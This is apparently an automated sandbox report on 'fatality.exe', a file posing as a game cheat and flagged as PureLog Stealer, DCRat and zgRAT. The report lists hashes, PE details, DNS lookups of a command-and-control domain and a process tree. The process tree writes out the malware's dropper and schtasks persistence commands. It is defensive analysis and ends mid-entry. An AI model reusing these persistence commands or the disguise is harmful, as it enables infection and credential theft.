TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	fatality.exe
File size:	3'319'076 bytes
MD5:	a7040b85fc683f088f4c6e5b44052c43
SHA1:	7e3d644d1a1fb7b9bcccb6406d2e7fbd062eae66
SHA256:	b786f31f1c89c71d0510bbd32510595d9891c67db516f968261b02594a423a8d
SHA512:	e225f6f7e114690aad25e9c67460e50f5b84cc8ca87a69ba94ff63ab42415df176a3ed6c3456cddb849927604a4888b17e5e781ac97d2ba0197f9687bbb2c301
SSDEEP:	98304:hb5Nf/dq7yqKM1TcGZ6gtq1/Lko4uVa8Nb:FMyqKM1TogtqT44NNb
TLSH:	4AE5E11A56E25E77C3A4173244A3403E52A2D7363D71FB0A391F11E66803BB5DEB22B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I..>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I..=>...I..=>.

File Icon


Icon Hash:	b2f0cc697970b124

Static PE Info

General

Entrypoint:	0x418d16
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6220BF8D [Thu Mar 3 13:15:57 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	d89f3dcdac0c8dba11dc1162435bedbb

Entrypoint Preview

Instruction
call 00007F0B64B7E4F6h
jmp 00007F0B64B7E30Eh
push 0044BB60h
push dword ptr fs:[00000000h]
mov eax, dword ptr [esp+10h]
mov dword ptr [esp+10h], ebp
lea ebp, dword ptr [esp+10h]
sub esp, eax
push ebx
push esi
push edi
mov eax, dword ptr [00466ECCh]
xor dword ptr [ebp-04h], eax
xor eax, ebp
push eax
mov dword ptr [ebp-18h], esp
push dword ptr [ebp-08h]
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFEh
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
ret
mov ecx, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
int3
int3
int3
add esp, 04h
jmp 00007F0B64F43C69h
jmp dword ptr [edx+72h]
les eax, fword ptr [ecx-3507549Ah]
out dx, eax
mov byte ptr [ecx+2Dh], ch
loope 00007F0B64B7E50Fh
rcl dword ptr [esi], 1
push eax
test dword ptr [ecx-0Bh], BA12D799h
add byte ptr [ecx], cl
std
jecxz 00007F0B64B7E450h
sbb dword ptr [eax+17EA9179h], edx
sub bh, dh
cwde
cmp eax, 87B8702Dh
sub byte ptr [edi+eax-5B647B2Ch], ch
sal ecx, 1
xlatb
pop ebx
ror esi, cl
push cs
inc edx
stc
cdq
in al, DFh
inc ebp
push FFFFFFFEh
xor byte ptr [edi], dh
sbb dl, byte ptr [edx-66AE482Ch]
cmc
add dh, byte ptr [esi]
shl byte ptr [141748B7h], FFFFFFBDh
mov sp, 47E0h

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2fa020	0x34	cheat
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2fa054	0x210	cheat
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x72000	0x80a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2fa000	0xc	cheat
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x32000	0x1be00	9104f0fc531fdf9fb96d123dff1a3498	False	0.997276135089686	data	7.996600566459323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x33000	0xb000	0x4800	9fe47bef5d465074276288c8d112b546	False	0.9945203993055556	data	7.979119292488003	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x3e000	0x25000	0x800	eea4f8d774a89c545bc83f48802e8435	False	0.91259765625	data	7.461008587981874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x63000	0x1000	0x200	a20984dd380aa28b3e8ab1be07362b77	False	0.447265625	data	3.7456848543919192	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x64000	0xb000	0x2600	aafc380576beb683e5abda82733f92a5	False	0.9828330592105263	data	7.941503255275258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6f000	0x3000	0x2000	c8693ac1d184eed23769063f48116844	False	0.95849609375	PGP Secret Sub-key -	7.853249739854464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x72000	0x9000	0x8200	677d04097b2c351f09c78ba10bd35085	False	0.854296875	data	7.51495699813517	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x7b000	0x27f000	0x2ba00	f226c5562cd864a0b52094a3f8dcf332	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cheat	0x2fa000	0xe7000	0xe7000	c387e7f409bd96385ca608c515b0e8ef	False	0.9969160071699135	data	7.982180837051556	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x64524	0xb45	OpenPGP Public Key	English	United States	1.0038128249566725
PNG	0x6506c	0x15a9	data	English	United States	0.970492396813903
RT_ICON	0x72524	0x63a4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			1.0004704406460718
RT_DIALOG	0x6c9bc	0x286	empty	English	United States	0
RT_DIALOG	0x6cc44	0x13a	empty	English	United States	0
RT_DIALOG	0x6cd80	0xec	empty	English	United States	0
RT_DIALOG	0x6ce6c	0x12e	empty	English	United States	0
RT_DIALOG	0x6cf9c	0x338	empty	English	United States	0
RT_DIALOG	0x6d2d4	0x252	empty	English	United States	0
RT_STRING	0x788c8	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x78aac	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x78c78	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x78e30	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x78f78	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x793e4	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x7954c	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x796a0	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x797ac	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x79868	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x79940	0x14	data			1.05
RT_MANIFEST	0x79954	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
gdiplus.dll	GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 12:48:32.196950912 CET	56338	53	192.168.2.5	162.159.36.2
Jan 13, 2025 12:48:32.202265024 CET	53	56338	162.159.36.2	192.168.2.5
Jan 13, 2025 12:48:32.202341080 CET	56338	53	192.168.2.5	162.159.36.2
Jan 13, 2025 12:48:32.207901001 CET	53	56338	162.159.36.2	192.168.2.5
Jan 13, 2025 12:48:32.719033003 CET	56338	53	192.168.2.5	162.159.36.2
Jan 13, 2025 12:48:32.723850012 CET	56338	53	192.168.2.5	162.159.36.2
Jan 13, 2025 12:48:32.729027987 CET	53	56338	162.159.36.2	192.168.2.5
Jan 13, 2025 12:48:32.729090929 CET	56338	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 12:48:23.805847883 CET	53824	53	192.168.2.5	1.1.1.1
Jan 13, 2025 12:48:24.120889902 CET	53	53824	1.1.1.1	192.168.2.5
Jan 13, 2025 12:48:32.196382046 CET	53	63607	162.159.36.2	192.168.2.5
Jan 13, 2025 12:48:32.747226954 CET	58719	53	192.168.2.5	1.1.1.1
Jan 13, 2025 12:48:32.754957914 CET	53	58719	1.1.1.1	192.168.2.5
Jan 13, 2025 12:48:46.320416927 CET	53120	53	192.168.2.5	1.1.1.1
Jan 13, 2025 12:48:46.768088102 CET	53	53120	1.1.1.1	192.168.2.5
Jan 13, 2025 12:48:53.667042971 CET	60405	53	192.168.2.5	1.1.1.1
Jan 13, 2025 12:48:53.981053114 CET	53	60405	1.1.1.1	192.168.2.5
Jan 13, 2025 12:49:11.259903908 CET	57046	53	192.168.2.5	1.1.1.1
Jan 13, 2025 12:49:11.735621929 CET	53	57046	1.1.1.1	192.168.2.5
Jan 13, 2025 12:49:19.297024965 CET	56234	53	192.168.2.5	1.1.1.1
Jan 13, 2025 12:49:19.453996897 CET	53	56234	1.1.1.1	192.168.2.5
Jan 13, 2025 12:49:27.416022062 CET	62022	53	192.168.2.5	1.1.1.1
Jan 13, 2025 12:49:27.429466963 CET	53	62022	1.1.1.1	192.168.2.5
Jan 13, 2025 12:49:51.112107992 CET	59391	53	192.168.2.5	1.1.1.1
Jan 13, 2025 12:49:51.131388903 CET	53	59391	1.1.1.1	192.168.2.5
Jan 13, 2025 12:49:59.438361883 CET	52998	53	192.168.2.5	1.1.1.1
Jan 13, 2025 12:49:59.674460888 CET	53	52998	1.1.1.1	192.168.2.5
Jan 13, 2025 12:50:06.353496075 CET	57692	53	192.168.2.5	1.1.1.1
Jan 13, 2025 12:50:06.503123999 CET	53	57692	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 12:48:23.805847883 CET	192.168.2.5	1.1.1.1	0x72b1	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:48:32.747226954 CET	192.168.2.5	1.1.1.1	0xa786	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 13, 2025 12:48:46.320416927 CET	192.168.2.5	1.1.1.1	0xca2a	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:48:53.667042971 CET	192.168.2.5	1.1.1.1	0x38d5	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:49:11.259903908 CET	192.168.2.5	1.1.1.1	0xaf4e	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:49:19.297024965 CET	192.168.2.5	1.1.1.1	0x1670	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:49:27.416022062 CET	192.168.2.5	1.1.1.1	0xc892	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:49:51.112107992 CET	192.168.2.5	1.1.1.1	0x34dc	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:49:59.438361883 CET	192.168.2.5	1.1.1.1	0x74a0	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:50:06.353496075 CET	192.168.2.5	1.1.1.1	0x238a	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 12:48:24.120889902 CET	1.1.1.1	192.168.2.5	0x72b1	Server failure (2)	373292cm.nyashka.top	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:48:32.754957914 CET	1.1.1.1	192.168.2.5	0xa786	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 13, 2025 12:48:46.768088102 CET	1.1.1.1	192.168.2.5	0xca2a	Server failure (2)	373292cm.nyashka.top	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:48:53.981053114 CET	1.1.1.1	192.168.2.5	0x38d5	Server failure (2)	373292cm.nyashka.top	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:49:11.735621929 CET	1.1.1.1	192.168.2.5	0xaf4e	Server failure (2)	373292cm.nyashka.top	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:49:19.453996897 CET	1.1.1.1	192.168.2.5	0x1670	Server failure (2)	373292cm.nyashka.top	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:49:27.429466963 CET	1.1.1.1	192.168.2.5	0xc892	Server failure (2)	373292cm.nyashka.top	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:49:51.131388903 CET	1.1.1.1	192.168.2.5	0x34dc	Server failure (2)	373292cm.nyashka.top	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:49:59.674460888 CET	1.1.1.1	192.168.2.5	0x74a0	Server failure (2)	373292cm.nyashka.top	none	none	A (IP address)	IN (0x0001)	false
Jan 13, 2025 12:50:06.503123999 CET	1.1.1.1	192.168.2.5	0x238a	Server failure (2)	373292cm.nyashka.top	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	06:47:59
Start date:	13/01/2025
Path:	C:\Users\user\Desktop\fatality.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fatality.exe"
Imagebase:	0xde0000
File size:	3'319'076 bytes
MD5 hash:	A7040B85FC683F088F4C6E5B44052C43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.2039419279.0000000005FE3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.2038554623.0000000005FE7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:48:00
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe"
Imagebase:	0x290000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:48:11
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\blockcomSession\R3z0peym99fhJdrKbUwEGrQMoM2HpnSPGrE0X0k2hc.bat" "
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:48:11
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:48:11
Start date:	13/01/2025
Path:	C:\blockcomSession\containerReview.exe
Wow64 process (32bit):	false
Commandline:	"C:\blockcomSession/containerReview.exe"
Imagebase:	0x780000
File size:	2'006'016 bytes
MD5 hash:	F568E43BC473CD8CEB2553C58194DF61
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000005.00000000.2154251143.0000000000782000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2227774812.0000000012D60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\blockcomSession\containerReview.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:48:14
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 10 /tr "'C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe'" /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:48:14
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:48:14
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 9 /tr "'C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:48:14
Start date:	13/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline"
Imagebase:	0x7ff7080b0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:48:14
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:48:14
Start date:	13/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8539.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC4E919528C4A844BA8820AEF1C7C5AE5.TMP"
Imagebase:	0x7ff61b250000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:48:15
Start date:	13/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.cmdline"
Imagebase:	0x7ff7080b0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:48:15
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:48:15
Start date:	13/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES87BA.tmp" "c:\Windows\System32\CSCBCEC8111DA4C46C5BB72BE8163F3D647.TMP"
Imagebase:	0x7ff61b250000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:48:15
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 13 /tr "'C:\blockcomSession\mQBLhXIPAJ.exe'" /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:48:16
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\blockcomSession\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:48:16
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 14 /tr "'C:\blockcomSession\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:48:16
Start date:	13/01/2025
Path:	C:\blockcomSession\mQBLhXIPAJ.exe
Wow64 process (32bit):	false
Commandline:	C:\blockcomSession\mQBLhXIPAJ.exe
Imagebase:	0x300000
File size:	2'006'016 bytes
MD5 hash:	F568E43BC473CD8CEB2553C58194DF61
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:48:16
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "containerReviewc" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\dbg\containerReview.exe'" /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:48:16
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "containerReview" /sc ONLOGON /tr "'C:\Users\All Users\dbg\containerReview.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:48:16
Start date:	13/01/2025
Path:	C:\blockcomSession\mQBLhXIPAJ.exe
Wow64 process (32bit):	false
Commandline:	C:\blockcomSession\mQBLhXIPAJ.exe
Imagebase:	0xf10000
File size:	2'006'016 bytes
MD5 hash:	F568E43BC473CD8CEB2553C58194DF61
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:48:16
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "containerReviewc" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\dbg\containerReview.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Templates\mQBLhXIPAJ.exe'" /f
Imagebase:	0x7ff7f36d0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:48:17
Start date:	13/01/2025
Path:	C:\Windows\System32\schtasks.exe
